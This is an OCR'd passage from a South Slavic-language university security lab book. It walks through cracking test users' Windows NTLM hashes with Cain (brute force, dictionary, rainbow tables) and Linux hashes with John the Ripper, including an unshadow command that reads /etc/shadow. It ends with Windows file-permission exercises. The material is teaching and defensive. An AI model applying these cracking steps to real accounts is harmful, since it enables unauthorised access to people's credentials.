se vidi). Izabran je skup koji se sastoji od velikih i malih slova i cifara, izabrana
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je duzina lozinki od Sest do devet znakova, kako je prikazano na slici 3.20.

r

Brute-Force Attack

Charzet Pazsword length

[abedefghilmnoparstuvyzABCDEFGHWKLMNOPORS TUVWZ01 23456789~ | | Max |3 =

- Start from
Keyzpace Current pazswiord

13759005066690240 1EizEa
Key Rate Time Left

10015041 Fazz/Sec 43.564 pears

Plaintext of EAB4556003483E1794149CERS83E097F i= student

Slika 3.20: Cain - pogadanje lozinki isprobavanjem svih kombinacija

Sa slike se vidi da bi ovaj proces potrajao oko 40-ak godina i da je brzina
isprobavanja oko 10 miliona lozinki u sekundi. Takode se moze vidjeti da je lo-
zinka za korisnika ”student” koja je jednostavna i jednaka njegovom korisnickom
imenu odmah pogodena. Ovaj proces je zaustavljen, jer bi vrijednost ove knjige

za Cetrdesetak godina bila upitna.
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3.2.2 Koristenjem ”rjecnika” (dictionary)

Prije nego §to je pokrenuta ova procedura svi ucitani hash-evi su obrisani i ponovo
ucitani, da bi se sprijeCio uticaj prethodnih pogadanja i krenulo iz pocetka. Ovo
naravno ne znaci da je potrebno metode pogadanja odvojeno koristiti, veé¢ ih je
naprotiv najbolje kombinovati, jer za razlic¢ite lozinke razli¢ite metode pogadanja
su bolje.

Pogadanje lozinki koristenjem ”rjecnika” sastoji se od isprobavanja rijeci iz prede-
finisanog skupa rijeci ("rjecnik”). Softveri koji koriste ovu metodu omogucavaju,
pored direktne provjere rijeci iz rje¢nika, razlic¢ite varijacije rijeci iz rje¢nika. Us-
pjesnost ovog metoda ocigledno zavisi od kvaliteta rje¢nika. Kvalitetan rjec¢nik ¢e
imati veliki broj rije¢i, a posebno onih koje se koriste kao lozinke. Na Internetu
postoji veéi broj rjecnika, besplatnih i onih koji se pla¢aju, kako i onih javno
dostupnih i onih sa crnog trzista.

Za namjene ovog pokaza koristen je veliki rje¢nik koji se na kratko pojavio na
Internetu.'? Kao i kod pretrazivanja svih kombinacija, izabrani su korisnici koji
imaju lozinke. Sa izbornika koji se pojavi nakon klika na desno dugme misa iz-
abrano je ”Dictionary Attack -> NTLM Hashes”. Nakon toga pojavi se prozor
za izbor opcija i pokretanje pogadanja lozinki koristenjem rjecnika. U gornjem
dijelu prozora, sa naslovom ”Dictionary”, desnim kikom na prostor za naziv da-
toteke rje¢nika pojavljuje se opcija ” Add to list”. Klikom na tu opciju moguce je
izabrati datoteku (ili vise njih) koja ¢e imati ulogu rjeénika. Izabrana je pome-
nuta datoteka sa 10 miliona lozinki. Cain nudi moguénost isprobavanja razli¢itih
kombinacija rijeci iz rje¢nika, kao $to je obrnuti poredak slova, dupliranje, is-
probavanje malih i velikih slova, zamjena nekih slova brojevima!3, kombinovanje
malih i velikih slova, te dodavanje jedne do dvije cifre na kraj rije¢i iz rjecnika.
Nakon ucitavanja datoteke rje¢nika i izbora opcija pokrenuto je pogadanje kako
se vidi na slici 3.21.

Na slici se vidi da su tri lozinke koje su pogodene i sa duginim tabelama
pogodene veé nakon §to se proslo kroz samo 3% rjeénika. Vremenski je to
trajalo oko dvije minute. Iz toga se moze zakljuciti da je pogadanje pomocu

12 U februaru 2015. godine sigurnosni istrazivaé Mark Burnett je na svom blog-u objavio
je 10 miliona kombinacija korisnickih imena i lozinki koje je tokom godina prikupio
iz razli¢itih izvora [39]. Razlog za objavljivanje koji je on naveo je istrazivanje ko-
risni¢kih lozinki. Skup lozinki je ubrzo uklonjen sa njegovog blog-a, ali se jo§ uvijek
moze pronadi na Internetu.

13 Ovo se Cesto koristi da bi se otezalo pogadanje.Primjeri su: O se mijenja sa 0, S sa 5,
A sa 4, itd. Zbog ucestalosti upotrebe ova opcija postoji u softverima za pogadanje,
tako da je realna korist za sigurnost od ovih smjena u lozinkama mala.
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Dictionary Attack @

Dictionary

File | Position
= CAUzershstudentad D ocumentsh TS410-milion-pazsword. ..

Key Rate Options
2692054 Pass/Sec =
Dictionary Position F
2578E16 [ 3%) r
-
v
Current password r
BtritiumE3 ¥

Plaintext of EAB4S556003A483E179A149CEGSE3E097F 1= student
Plaintext of 5835048CE94AD0DSG4EZ294924403510EF i=s passwordl
Plaintext of 6364271E142232E42ECB3406EEBSFE23 1= Pass1234

Slika 3.21: Cain - pogadanje lozinki upotrebom rje¢nika

rjecnika najbrza varijanta pogadanja, ako se ima dobar rjecnik. Za teze pogadanje
oCigledno je potrebno birati rijeci kojih nema u rje¢nicima (kako pravim, tako i
ovim koji se sastoje od lozinki). Dobra strana neengleskih govornih podrucja i
korisnika van SAD je Sto je mnogo manje dobrih rje¢nika za ova podruéja, a po
gotovo za nase govorno i geografsko podrucje.

Nakon prolaska kroz 20% rjecnika pogodena je i Getvrta lozinka. Do kraja
pogadanja koje je trajalo oko jedan sat nije pogodeno vise lozinki kako je pri-
kazano na slici 3.22.
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Dictionary Attack @

Dictionary

File | Pasitian
\f LM sershstudentadiD ocumentsh TS O-million-password... 95916260

Key Rate Options

Az |z [Paszword)

Reverze [PAS5WORD - DROWSSAR)

Double [Pazs - PassPass)

Lowercasze [PASSWORD - passwaord)

Uppercase [Password - PASSWIORD)

Mum. zub. perms [Pass P4zz, Pabs,.. P45:. P455)
Case perms [Pass,pfas paSs,. PaSs FASS]
Twa numbers Hybrid Brute [Pass0... Pass39)

Dictionary Position

Current pazzwaord

U R A R

Plaintext of EAB4SS6003AB3IELI79A149CERGE3IENS7F is student
Plaintext of 5835048CE94ADOSA4EZ94A924A03510EF i=s passwordl
FPlaintext of 6364271E1A2232E42ECE3406EEBBFE23 iz Pa=s1234
Plaintext of CF7771248BDE3FABCY9SCA491DA7EY108 i=s lglwledrSthy
Attaclk =topped!

4 of 5 hashes cracked

E it

Slika 3.22: Cain - zavrsetak pogadanja lozinki upotrebom rje¢nika

Klikom na dugme ”Exit” vraca se na osnovni Cain prozor u kom su ispisane
pogodene lozinke za korisnike, kako je prikazano na slici 3.23.

3.2.3 Koristenjem metoda ”duginih tabela” (rainbow tables)

Prije nego $to je pokrenuta ova procedura svi ucitani hash-evi su obrisani i po-
novo ucitani, da bi se sprijecio uticaj prethodnih pogadanja i krenulo iz pocetka,
kao i prosli put.

Za pogadanje je mogucée koristiti razlic¢ite ”dugine tabele”. Jedna opcija koju
nudi Cain je da se koriste OphCrack tabele (iste koje su koristene u pogadanju
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JRg VNC-3DES (0)
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md D4 Hashes (0)
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.48 SHA-2 Hashes (0]
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Slika 3.23: Cain - pogodene lozinke

lozinki sa OphCrack live CD). Medutim, uc¢itavanje OphCrack tabela nije uspjelo,
jer format zapisa ”duginih tabela” ocigledno nije vise podrzan u Cain-u. Ovdje je
iskoristena moguénost Cain softverskog paketa, odnosno programa iz tog paketa
Winrtgen, da napravi ”"dugine tabele” na osnovu zadnih parametara.

Program Winrtgen nalazi se u posebnom folderu u Winrtgen unutar Cain ins-
talacijskog foldera (ovdje konkretno C:\Program Files (x86)\Cain). Potrebno
je, dvostrukim klikom, pokrenuti program Winrtgen.exe. Po pokretanju program
nudi razli¢ite opcije pri kreiranju ”duginih tabela”. Potrebno je izabrati tip hash,
LM ili NT, minimalnu i maksimalnu duzinu lozinke, te skup znakova koji ¢e se
koristiti za pravljenje duginih tabela. Izabrane su opcije jednake onim koje su
koriStene za pogadanje lozinki isprobavanjem svih kombinacija: NT hash, lozinke
duzine Sest do devet znakova i skup znakova koji se sastoji od malih i velikih
slova i brojeva. Prozor Winrtgen sa izabranim opcijama prikazan je na slici 3.24.
Pravljenje tabela je proces koji duze traje, a u ovom slucaju trajao je jedan dan.
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[

Rainbow Table properties @
Hash tin Len Max Len— — Index Chain Len Chain Count M* of tables
. SIRG 5 i 2400 40000000 L
Charget

mixalpha-nunmeric Edit
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Slika 3.24: Cain - Winrtgen - pravljenje ”duginih tabela”

Nakon kreiranja ”duginih tabela”, na slican nac¢in kao i za druge metode
pogadanja lozinki u Cain, izabrani su korisnici koji imaju lozinke. Sa izbornika
koji se pojavi nakon klika na desno dugme misa izabrano je ” Cryptanalysis Attack
-> NTLM Hashes -> via Rainbow Tables (RainbowCrack)”. Nakon toga pojavi
se prozor za izbor opcija i pokretanje pogadanja lozinki koristenjem ”duginih
tabela”. Klikom na ”Add Table” moguée je izabrati datoteku (ili vise njih) u
kojoj su pohranjene ”dugine tabele”. To mogu biti tabele preuzete sa Interneta
ili one koje su napravljene lokalno. U konkretnom slucaju izabrana je tabela
napravljena u prethodnom koraku sa Winrtgen. Nakon izbora tabele moguce je
pokrenuti pogadanje lozinki klikom na dugme ”Start”. Prozor u kom se ovo radi
prikazan je na slici 3.25.

Rezultat pogadanje je da su pogodene lozinke za tri korisnika koje su obu-
hvaéene zadatim skupom znakova koji je koristen za pravljenje duginih tabela
(student, passwordl i Pass1234). Isti rezultat bi bio i kod isprobavanja svih kom-
binacija takvih kombinacija (da smo mogli ¢ekati 40 godina da se zavrsi), jer su
koristeni isti parametri. Medutim ovo pogadanje trajalo je je mnogo krace. Po-
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Slika 3.25: Cain - pogadanje lozinki upotrebom ”duginih tabela”

troseno je vrijeme za kreiranje tabela, ali se one onda mogu koristiti vise puta.
Ove tabele mogu biti jako velike, stotine GB ili TB, ako se zeli obuhvatiti veliki

broj kombinacija i povecéati vjerovatnoéa pogadanja lozinki.

3.3 Pogadanje Linux lozinki

Potrebno je razmotriti na koji nac¢in se pohranjivanje lozinki vrsi pod Linux ope-
rativnim sistemom. Potrebno je analizirati pohranjene lozinke i predloziti nacin

da se otkrije njihov izvorni oblik
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3.3.1 Koristenjem alata John the Ripper

RjeSenje: John the Ripper je program za pogadanje lozinki. U pocetku je bio na-
mijenjen za Unix-oidne sistema, ali sada moze pogadati i Windows lozinke i biti
instaliran na Windows OS. To je besplatni softver otvorenog koda (open source)
Postoji i komercijalna verzija softvera (John the Ripper Pro) koja donosi neke
pogodnosti i rje¢nik, ali u principu radi na isti nac¢in kao i osnovna besplatna
verzija. Softver se za uglavnom distribuira u obliku izvornog koda koji se onda
pretvara u izvrsni (kompilacijom i linkovanjem). Postoji i izvréna verzija za Win-
dows. Softver je, u vrijeme pisanja, dostupan na
http://www.openwall.com/john/

U nastavku je pokazana instalacija i nekoliko primjera upotrebe John the Rip-
per na Ubuntu 14.04. Ubuntu ima paket sa najnovijom verzijom softvera, 1.8.0
u vrijeme pisanja. U tom slucaju najlaksa je instalacija na taj nacin upotrebom
komande:

sudo apt-get install john

Po instalaciji ispravnost rada se moze provjeriti komandom:
john —--test

Ovim se izvrsava testiranje rada svih algoritama hash-iranja. Opcije softvera se
mogu dobiti kucanjem samo naziva programa john, a dokumentacija je dostupna
na

http://www.openwall.com/john/doc

Na operativni sistem je dodato istih pet korisnika sa istim lozinkama kao na
Windows'4

John the Ripper pogada lozinke iz datoteke sa korisnickim imenima i lozinkama
koja mu se proslijedi kao posljednji argument na komandnoj liniji. Kako savre-
meni Linux sistemi ¢uvaju odvojeno ove informacija u datotekama /etc/passwd
i /etc/shadow potrebno je izvrsiti objedinjavanje ove dvije datoteke. Za ovo
se moze koristiti komanda unshadow koja je dio John th Ripper instalacije. 1z
direktorija u kom se zeli napraviti objedinjena datoteke potrebno je pokrenuti
komandu:

sudo unshadow /etc/passwd /etc/shadow > korisnik_lozinka.txt

Ovim se u datoteku objedinjuju potrebni podaci. Sada se ova datoteka moze

14 Korisnici su dodani sa komandne linije. Prilikom dodavanja korisnika kroz GUI nije
moguce postaviti lozinke koje su prelagane za pogoditi.



3.3 Pogadanje Linux lozinki 79

koristiti za pogadanje lozinki. John the Ripper ima opciju za pogadanje jednos-
tavnih lozinki i savjetuje se da se ona pokusa prva. To bi ovdje bilo:
john --single korisnik_lozinka.txt

Ispisuje se poruka da je ucitano Sest hash-eval®. Najjednostavnija lozinka ”stu-
dent” za korisnika ”student” je odmah pogodena i ispisana. Program vrlo brzo
zavrSava svoj rad neotkrivsi vise lozinki.

John the Ripper podrzava upotrebu "rjecnika”. Prvo je pokusano pogadanje upo-
trebom rje¢nika koji dolazi sa instalacijom John the Ripper. U ovom slucaju taj
rjecnik se nalazi na lokaciji /usr/share/john/. Uz upotrebu rjecnika moguce je, i
uglavnom korisno, da se koriste i pravila za kombinovanje rije¢i iz rje¢nika (sli¢no
kao kod Cain-a). Pravila se podesavaju u konfiguracionoj datoteci john.conf
koja se, obi¢no, nalazi na lokaciji /etc/john/. Ovo pretrazivanje upotrebom ini-
cijalnih pravila pokrecée se sljede¢om komandom (u jednoj liniji):

john --wordlist=/usr/share/john/password.lst

--rules korisnik_lozinka.txt

Po pokretanju ispisuje se poruka da je ucitano Sest hash-eva, ali se pogada samo
pet. Prethodno pogodene lozinke su zapaméene i mogu se prikazati komandom:
john --show

Vrlo brzo, za nekoliko sekundi, je pogodena lozinka ”passwordl” korisnika ”na-
ivni” i ispisana na ekran. Kompletno pogadanje sa ovim rje¢nikom i pravilima
trajalo 26 minuta.

Sljedec¢i pokusaj pogadanja bio je upotrebom istog rjecnika koji je ranije bio
koristen za pogadanje lozinki na Windows OS uz upotrebu inicijalnih pravila
kombinovanja. Pogadanje je pokrenuto komandom (u jednoj liniji):

john --wordlist=10-million-passwords.txt

--rules korisnik lozinka.txt

Nakon 15 sati rada pogodene su jos dvije lozinke: ”Pass1234” korisnika ”stu-
dentad” i 71q2w3e4r5t6y” korisnika ”dugacki”.

John the Ripper nudi i moguénost pogadanja lozinki isprobavanjem svih kom-
binacija znakova iz nekog skupa. Za tu namjenu se koristi opcija incremental.
Naziv opcije dolazi od toga da se broj znakova inkrementalno povecava koristeci
prvo uobicajenije znakove, pa zatim one koji se rjede koriste. Primjer ove ko-
mande sa inicijalnim podeSenjima je:

15 pet novih korisnika i onaj koji je bio na sistemu
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john --incremental korisnik_lozinka.txt

Ova komanda ¢e kao skup znakova Kkoristiti 95 printabilnih ASCII znakova i
pokusati duzine od 0 do 13 znakova. Skup znakova se moze mijenjati dodavanjem
nacina rada MODE iza opcije incremental. Postoji nekoliko predefinisanih opcija
(MODE), kao sto su ”"Digits”, ” Alpha”, "Lower”, ”Upper”, ” Alnum”, ”Lower-
Num”, ”UpperNum” i ”LowerSpace”. Nisu svi ovi predefinisani skupovi znakova
dostupni sa svim distribucijama John the Ripper. Sa lokacije sa koje se moze
preuzeti John the Ripper moguée je preuzeti i ove skupove znakova. Konkretnu,
Ubuntu 14.04 paket dolazi samo sa ascii.chr i digits.chr datotekama koje
predstavljaju odgovarajuce skupove znakova. Bilo je potrebno preuzeti dodatne
skupove znakova, .chr datoteke, te ih prebaciti na lokaciju /usr/share/john/ da
bi se mogli koristiti. Ako se Zeli promijeniti minimalni i maksimalni broj znakova
u lozinci koji se isprobavaju potrebno je promijeniti vrijednosti MinLen i MaxLen
za odgovarajuéi nacin rada u pomenutoj konfiguracionoj datoteci john.conf na
lokaciji /etc/john/. Moguce je i dodati neke znakove predefinisanom skupu pu-
tem promjene u ovoj konfiguracijskoj datoteci. Da bi se pokazale moguénosti
konfiguracije, i pogodila preostala nepogodena lozinka (koja je poznata autoru) u
konfiguracijskoj datoteci je napravljena izmjena u dijelu koji se odnosi na opciju
incremental i nacin rada Alnum. Izmijenjena konfiguracija je:

[Incremental:Alnum]
File = $JOHN/alnum.chr

MinLen = 10
MaxLen = 10
CharCount = 63
Extra = _

Na osnovu ove konfiguracije John the Ripper ¢e, ako bude izabrana opcija
incremental sa nac¢inom rada alnum isprobavati lozinke duzine 10 znakova iz
skupa brojeva i engleskih slova prosirenog sa dodatnim znakom ”_”, tako da je
ukupni broj znakova koje ¢e isprobavati 63.

Da bi se ubrzalo pogadanje u komandi je iskoriStena i opcija da se moze izabrati
korisnik (ili vise njih) za koje se Zeli pogadati lozinka. Nakon toga pogadanje se
pokrecée sa komandom:

john --incremental:alnum --users:razumni korisnik_lozinka.txt

Nakon 24 sata lozinka i dalje nije bila pogodene. Razlog za to je veliki broj
kombinacija koje je potrebno isprobati, a posebno taj sto se u ovom slucaju do-
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datni znak ”_” posljednji razmatra.

Pored predefinisanih moguce je definisati i sopstveni skup znakova i dodati ga
ovaj skup.

John the Ripper je vrlo konfigurabilan i time prilagodljiv potrebama i okolnos-
tima pod kojim se pogadaju lozinke.

Radi informacije lozinka koja nije pogodenja je "Drowssap_1”. Sto je naopako
napisano password sa velikim poc¢etnim slovom i jednim posebnim znakom i jed-
nim brojem na kraju. Logicki je to prilicno jednostavna lozinka ali ju je zbog
duzine tesko pogoditi isprobavanjem svih kombinacija, i zbog specijalnih znakova
tesko pogoditi upotrebom rjec¢nika, iako je naopako napisana rije¢ iz rjec¢nika. Iz
ovoga se moze doéi i do preporuke za lozinku koju je teze pogoditi. Dovoljno
dugacka, recimo deset znakova, sa specijalnim znakom, brojem i velikim i malim
slovom.
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VIEZBA: Kontrola pristupa na operativnim
sistemima

Upoznavanje studenata sa nac¢inima realizacije kontrole pristupa kod operativnih
sistema Microsoft Windows i Unix (Linux). Studenti ée analizirati sli¢nosti i
razlike.

Ova vjezba ima za cilj upoznavanje studenata sa nac¢inima realizacije kontrole
pristupa kod operativnih sistema Microsoft Windows i Unix (Linux). Kroz upoz-
navanje sa ovim kontrolama studenti ¢e, na prakti¢nim primjerima, vidjeti kakve
atribute imaju datoteke na Windows i Linux OS i kakvo je znaenje i namjena
podesavanja ovih atributa. Jedna od bitnih ideja koju bi studenti trebali zadrzati
je da se preciznim podeSavanjem prava pristupa datotekama moze izbje¢i dava-
nje viSe prava nego $to je neophodno ili izvrsavanje komandi kao privilegovani
korisnik. Za teoretsko objasnjenje kontrole pristupa vidjeti knjigu [32] koja je
uskladena sa ovim vjezbama. Vise detalja o Windows kontroli pristupa moze se
nadi u [46], a za Linux se preporucuje [33].

4.1 Windows OS

4.1.1 Read-only atribut
Isti korisnik

Kao privilegovani (administrator) korisnik potrebno je u direktoriju ,My Documents“
napraviti TXT dokument. Potrebno je promijeniti osobine (properties) tog do-
kumenta tako da postane Read-only. Nakon otvaranja dokumenta potrebno je u
njega upisati neki sadrzaj i pokusati ga sacuvati. Sta se desava i zasto?

Rjesenje: Promjena osobina dokumenta ostvaruje se desnim klikom na dokument
te izborom opcije Properties (obi¢no posljednja na listi). U prozoru koji se otvori
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u tab General (prvi) posljednje polje je Atributes. U tom polju je potrebno
oznaciti (izabrati) Read-only kako je prikazano na slici 4.1.
Kada se dokument sa ovakvim atributom pokusa izmijeniti i sacuvati izmijenjeni

| TS_vjezba_4.bit Properties @

General | Securty | Details | Previous Versions

TS_wjezba_4 bt

Type of file:  Tewt Document (bd)
Opens with: Mj Motepad

Location: C:\Users\studentad\Documents
Size: 0 bytes
Size on disk: 0 bytes

Created: 20. avgust 2015, 14.44:51
Modified: 20. avgust 2015, 14:44:51
Accessed: 20. avgust 2015, 14.44:51

i

Atributes:

[ ok ][ Camced || Aopy |

Slika 4.1: Windows - Postavljanje atributa samo za Citanje (Read-only)

oblik dobiva se upozorenje od Windows OS da datoteka ima postavljen atribut
samo za Citanje te da se izmjene ne mogu sacuvati pod istim imenom datoteke,
kako je prikazano na slici 4.2. Izmijene je moguce sacuvati u datoteci sa drugim
imenom. Potrebno je napomenuti da ovaj atribut ne sprjecava brisanje datoteke.

Drugi korisnik

Potrebno je iskopirati dokument na lokaciju
C:\Users\Public\ Public Documents
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Save As @

l . TS vjezba 4.t
“  This file is set to read-only.
Try again with a different file name.

Slika 4.2: Windows - Poruka prilikom pokuSaja ¢uvanja izmjena napravljenih na datoteci
sa atributom samo za Citanje

Odjaviti se i prijaviti kao obiéni korisnik (student). Ponovo pokusati promijeniti
sadrzaj TXT datoteke u C:\Users\Public\Documents i satuvati promjene.

Da li se desava isto kao i u prethodnom pokusaju?

Sada treba ukinuti oznaku Read-only za ovaj dokument.

Sta se desava i zasto?

Rjesenje: Promjena lokacije dokumenta ne utice na promjenu atributa samo za
¢itanje. Obi¢ni korisnik nije bio u moguénosti sa¢uvati izmjene na datoteci. Pri-
likom pokusaja dobio je istu poruka kao i originalni vlasnik datoteke, slika 4.2.

Obicni korisnik mogao je promijeniti svojstvo samo ¢itanja datoteke koja se nalazi
na Public lokaciji. Nakon toga mogao je praviti i sa¢uvati izmjene na dokumentu.

4.1.2 Hidden atribut

Ponovo se potrebno odjaviti i prijaviti kao privilegovani korisnik. Potrebno je
promijeniti osobine TXT dokumenta tako da postane Hidden.

Sta se desava nakon toga?

Kako se dokument moze uciniti vidljivim?

Rjesenje: Promjena osobina dokumenta ostvaruje se desnim klikom na dokument
te izborom opcije Properties (obi¢no posljednja na listi). U prozoru koji se otvori
u tab General (prvi) posljednje polje je Atributes. U tom polju je potrebno
oznaciti (izabrati) Hidden kako je prikazano na slici 4.3.

Ako je dokument nestao sa liste dokumenta u direktoriju, potrebno je omoguéiti
prikazivanje skrivenih dokumenata putem menija Organize->Folder and Se-
arch Options, tab View, ukljuciti Show Hidden Files and Folders.
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| TS_vjezba_4.bd Properties @

General | Securty | Details | Previous Versions

TS _vjezba_4txt

Typeoffle:  Text Document (td)
Opens with: | Notepad

Location: C:\Users‘studentad\Documents
Size: 0 bytes
Size on digk: 0 bytes

Created: 20. avgust 2015, 14:44:51
Modified: 20. avgust 2015, 14:.44:51

Accessed: 20. avgust 2015, 14.44:51

Attributes: [¥] Read-only i

[ ok || cCamcel || ooty |

Slika 4.3: Windows - Postavljanje atributa sakriven (Hidden)

4.1.3 Sifriranje datoteka

I dalje kao privilegovani korisnik, potrebno je napraviti novu TXT datoteku u
dijeljenom direktoriju. U datoteku je potrebno upisati neki sadrzaj. Potrebno je
promijeniti osobine tog novog TXT dokumenta da postane Sifriran i to samo taj
dokument a ne cijeli direktoriji.

Ponovo se odjaviti i prijaviti kao obi¢ni korisnik, te pokusSati pristupiti
Sifriranoj datoteci.
Sta se desava i zasto?

RjeSenje: Promjena osobina dokumenta ostvaruje se desnim klikom na doku-
ment te izborom opcije Properties (obitno posljednja na listi). U prozoru koji
se otvori u tab General (prvi) posljednje polje je Atributes. Tu se nalazi dugme
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Slika 4.4: Windows - Postavljanje atributa Sifriran (Encrypted)

4.1 Windows OS

Advanced Attributes @

Choose the settings you want for this folder.

File attributes
[¥]File is ready for archiving

[¥] Allow this file to have contents indexed in addition to file properties

Compress or Encrypt attributes

[7] Compress contents to save disk space

[¥]Encrypt contents to secure data:

87

. na koje treba kliknuti. U prozoru koji se otvori potrebno oznaciti
polje Encrypt content to secure data kako je prikazano na slici 4.4.

Kada se klikne na dugme "OK” u ovom i prethodnom prozoru pojavljuje se
prozor sa upozorenjem kao na slici 4.5.

Slika 4.5: Windows - Upozorenje prilikom S§ifriranja datoteke

Encryption Warning @

You are encrypting a file that is in an unencrypted folder. If this

l i file is modified, the editing software might store a temporary,
unencrypted, copy of the file. To ensure that files created in the
parent folder are encrypted, encrypt the parent folder.

What do you want to do?

() Encrypt the file only

[ Always encrypt only the file [ OK ] ’ Cancel ]
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Upozorenje ukazuje da se kod Sifriranje pojedinih datoteka softver koji se ko-
risti za uredivanje tog dokumenta moze privremeno saCuvati nesifriranu verziju
datoteke. Windows preporucuje da se Sifrira cijeli direktoriji. Ovdje to nije pre-
sudno pa je izabrana opcija Encrypt the file only, ali o tome treba voditi
rac¢una i poslusati prijedlog da se Sifrira cijeli direktoriji.

Kada se potvrdi izbor naziv dokumenta je ispisan drugom bojom, obi¢no ze-
lenom. Istovremeno se u donjem desnom uglu pojavi upozorenje da se napravi
sigurnosna kopija kljuéa koji je koristen za sifriranje.!. Ako se izabere pravljenje
sigurnosne kopije kljuc¢a i odgovarajuceg certifikata, pokrece se ¢arobnjak za iz-
voz certifikata. Ovaj ¢arobnjak trazi da se izabere lozinka koje ¢e $tititi pristup
ovoj kopiji kljuca. Ta lozinka moze biti razlicita od Windows korisnic¢ke lozinke.
Klju¢ i certifikat se pohranjuju u datoteku po izboru korisnika. Tu datoteku je
onda potrebno sigurno pohraniti na drugu lokaciju, da bude dostupna u slucaju
gubitka kljuca.

Kada drugi korisnik pokusa otvoriti datoteku koja se nalazi na dijeljenoj lo-
kaciji dobija poruku Access is denied u prozoru i prikazuje mu se prazan do-
kument. Korisnik moze pisati u dokument, ali to §to je napisao ne moze sacuvati
pod istim imenom.

Sifriranje datoteke radi sprecavanja neovlastenih korisnika da procitaju njen
sadrzaj je pogodno. Medutim, postavlja se pitanje kako omogudéiti nekome da
procita datoteku. Recimo ako korisnik Zeli modéi procitati Sifriranu datoteku na
dva razlicita Windows racunara. Za tu namjenu moze posluziti sigurnosna kopija
certifikata i kljuca koja je napravljena. Koriste¢i ovu datoteku korisniku ”stu-
dent” ¢e biti omogudéeno ¢itanje datoteka koje je Sifrirao korisnik ”studentad”.

Potrebno je prijaviti se kao ”student” (Sto bi veé trebalo da je uradeno u
prethodnom koraku). Dvostrukim klikom na datoteku u koju su pohranjeni ovaj
certifikat i klju¢ pokrece se ¢arobnjak za uvoz cerifikata. U ¢arobnjaku je potrebno
potvrditi iz koje datoteke se zeli izvrsiti uvoz. Posto je privatni klju¢ u datoteci
zasti¢en lozinkom definisanom prilikom pravljenje datoteke, tu lozinku je neop-
hodno unijeti u ¢arobnjak za uvoz. Carobnjak nudi moguénost izbora spremista

! Kao kod svakog sifriranja, i ovdje, gubitak klju¢a dovodi do nemoguénosti degifriranja.
Ovdje je pristup klju¢u automatski i kontrolisan je korisnickom lozinkom, sli¢no kao
passphrase kod TrueCrypt. Podaci su sigurni onoliko koliko je lozinka dobra, teska
za pogoditi. Potrebno je obratiti paznju da gubitak lozinke dovodi do nepovrat-
nog gubitka Sifriranih podataka. Resetovanje lozinke, za razliku od regularne pro-
mjene lozinke, dovodi do gubitka pristupa kljucu za Sifriranje, odnosno nemoguénosti
desifriranja
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certifikata u koje ¢e se ovaj certifikat smjestiti. Dovoljno je prihvatiti ponudenu
opciju automatskog izbora spremista. Na kraju je samo potrebno potvrditi izbor
klikom na dugme ”Finish” u posljednjem prozoru. Ako je sve proslo uredno do-
bija se poruka u prozoru da je uvoz bio uspjesan. Ako sada korisnik ”student”,
koji je uvezao certifikat i kljuc¢, pokusa otvoriti datoteku koju je Sifrirao korisnik
”studentad”, ¢iji je klju¢ uvezen, njen sadrzaj ¢e mu biti dostupan.

4.1.4 Eksplicitno dodjeljivanje prava korisnicima na datoteku

Odjaviti se i prijaviti kao privilegovani korisnik. Napraviti novu TXT datoteku
u dijeljenom direktoriju. Dodati obi¢nog korisnika ,student“ onima koji imaju
prava nad datotekom. Kakva prava nad datotekom dobiva novi korisnik?

Potrebno je prava koja je ovaj korisnik dobio promijeniti na slijede¢i nacin.
Dati mu prava Create Files/Write Data i Create Folders/Append Data, a ukinuti
mu pravo Write Attributes. Kakve poruke se dobijaju nakon potvrdivanja izbora
i Sta one znace?

Dodati korisniku ,student® podrazumijevana (default) prava pristupa i na
dvije TXT datoteke (Read-only, hidden i Sifriranu) u dijeljenom direktoriju. Do-
dati korisniku ,,student“ podrazumijevana (default) prava pristupa i na datoteku
u ,My Documents* direktoriju.

Odjaviti se i prijaviti kao ,,student“. Pokusati pristupiti svakoj od datoteka i
vidjeti i promijeniti njen sadrzaj. Kakvi su rezultati i zasto?

Rjesenje: Dodavanje novih korisnika koji imaju prava nad datotekom radi se
na slijede¢i nacin. Desni klik na datoteku, klik na Properties, tab Security, klik
na dugme ”Edit”. Nakon toga otvara se prozor u kom su izlistani svi korisnici i
grupe korisnika koje imaju definisana prava pristupa ovoj datoteci. Za svakog od
korisnika ili grupa moguce je vidjeti i promijeniti prava pristupa. Izgled prozora
prikazan je na slici 4.6.

Klikom na dugme ”Add...” moguée je dodati nove korisnike sa pravom pris-
tupa datoteci. U prozoru koji se otvori potrebno je navesti za kog korisnika se
dodaju prava. U prostor za unos teksta upisano je ime korisnika ”student” i
kliknuto je na dugme ”Check Names”. Nakon toga je provjereno postojanje tog
korisnika i ispisano njegovo "puno” ime na racunaru. Izgled ovog prozora prika-
zan je na slici 4.7.

Klikom na dugme ”OK” vrac¢a se na prethodni prozor. U listu korisnika sa
pravom pristupa datoteci dodan je i novi korisnik ”student”. Prava koje je dobio
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| TS_4_detaljno.tet Properties |_EI§
| General | Security | Details I Previous Versions s i [l nlp e @
Object name:  C:\Users\Public'DocumentstTS_4_detalino bd Security
Group or user names: Object name:  C:\Users'\Public'\DocumentstTS_4_detalino bd
52, SYSTEM ) ) Group or user names:
i Zt:_drz(e:r;ad {Lab1-20_PC'studentad) [T cvsTEM
';-;; i . S 3, studentad (Lab1-20_PC'studentad)
2 T_Tl_nrl‘st‘lft_‘—ofr{Lab1-2ﬂ_PC\Adm|nlst|E|tors} = 52, BATCH
<[ I ] 82, Administrators {Lab1-20_PC\Administrators)
To change permissions, click Edit. zj‘ INIERE TV
52, SERVICE
Permissions for SYSTEM Alow Deny Add ] [ Remove ]
Full control
Modify Pemissions for SYSTEM Allow Deny
Read & execute Full control | o~
Read Modify [
Write Read & execute | =
Special permissions Read moLd
Write = -
For special pemissions or advanced settings,
click Advanced. Advanced Leam about access control and pemmissions
Leam about access control and pemmissions [ 0K ] [ Cancel ] Apply

[ ok | Cancel ][ soply ‘ I

Slika 4.6: Windows - Pregled korisnika sa pravom pristupa datoteci

Select Users or Groups @

Select this object type:

Users, Groups, or Built4n security principals Object Types...

From thiz location:

o 7

Enter the object names to select (=xamples):

LAB1-20 PChstudent Check Names

(o) (o)

Slika 4.7: Windows - Dodavanje korisnika sa pravom pristupa datoteci
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su "Read & Execute” i "Read”. To znadi da moze ¢itati sadrzaj datoteke ili
pokretati program koji datoteka predstavlja, ali ne moze pisati u datoteku ili je
mijenjati. Izgled ovog prozora prikazan je na slici 4.8.

. Permissions for T5_4_detaljno.bd @

Security

Cbject name:  C:\Users\Public'\Documents'TS_4_detaljno b

Group or user names:

2 BATCH -
;{Administlators (Lab1-20_PC\Administrators)

82, INTERACTIVE

42 SERVICE

